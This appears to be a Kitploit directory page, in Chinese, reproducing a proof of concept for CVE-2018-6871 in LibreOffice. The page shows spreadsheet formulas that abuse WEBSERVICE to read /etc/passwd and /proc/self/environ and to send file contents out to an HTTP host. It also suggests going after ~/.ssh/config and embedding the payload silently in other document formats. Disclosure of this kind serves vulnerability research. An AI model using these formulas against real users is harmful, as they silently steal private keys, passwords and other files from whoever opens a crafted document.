Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
libreoffice-remote-arbitrary-file-disclosure — Proof of concept of LibreOffice remote arbitrary file disclosure vulnerability | Kitploit
工具/GitHubGitHub/jollheef/libreoffice-remote-arbitrary-file-disclosure
Vulnerability AnalysisExploitationData ExfiltrationInformation Gathering
GitHubjollheef/libreoffice-remote-arbitrary-file-disclosure

libreoffice-remote-arbitrary-file-disclosure

Proof of concept of LibreOffice remote arbitrary file disclosure vulnerability

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
9698年前Kitploit 审核通过

漏洞描述

CVE-2018-6871

第一部分

LibreOffice 支持 COM.MICROSOFT.WEBSERVICE 函数:

root@kitploit:~
https://support.office.com/en-us/article/webservice-function-0546a35a-ecc6-4739-aed7-c0b7ce1562c4

该函数用于通过 URL 获取数据,通常用法如下:

root@kitploit:~
=FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")

官方原文:

root@kitploit:~
对于不支持的协议(如 ftp: // 或 file: //),WEBSERVICE 返回 #VALUE! 错误值。

在 LibreOffice 中,这些限制在 5.4.5/6.0.1 之前并未实现。

第二部分

默认情况下,单元格不会更新,但如果您将单元格类型指定为 ~error,则在打开文档时该单元格会被更新。

漏洞利用

要读取文件,只需:

root@kitploit:~
=WEBSERVICE("/etc/passwd")

该函数还可用于发送文件:

root@kitploit:~
=WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd"))

要成功利用,您需要发送当前用户的文件,因此需要获取当前用户的主目录路径。

root@kitploit:~
=MID(WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")) + 5, SEARCH(CHAR(0), WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")))-FIND("USER=",

您还可以解析其他文件,例如 ~/.ssh/config 之类的文件。

对于 LibreOffice Calc 以外的格式,您只需将 calc 对象嵌入其他文档即可(我已验证可行)。

影响

可以轻松发送包含密钥、密码及其他任何内容的文件。成功率 100%,完全静默,影响所有操作系统(GNU/Linux、MS Windows、macOS 等)上早于 5.4.5/6.0.1 的 LibreOffice,并且几乎可以嵌入 LO 支持的所有格式中。

致谢

该漏洞由我(@jollheef)与 Ronnie Goodrich、Andrew Krasichkov 独立发现(根据 LibreOffice 团队说明)。

下载工具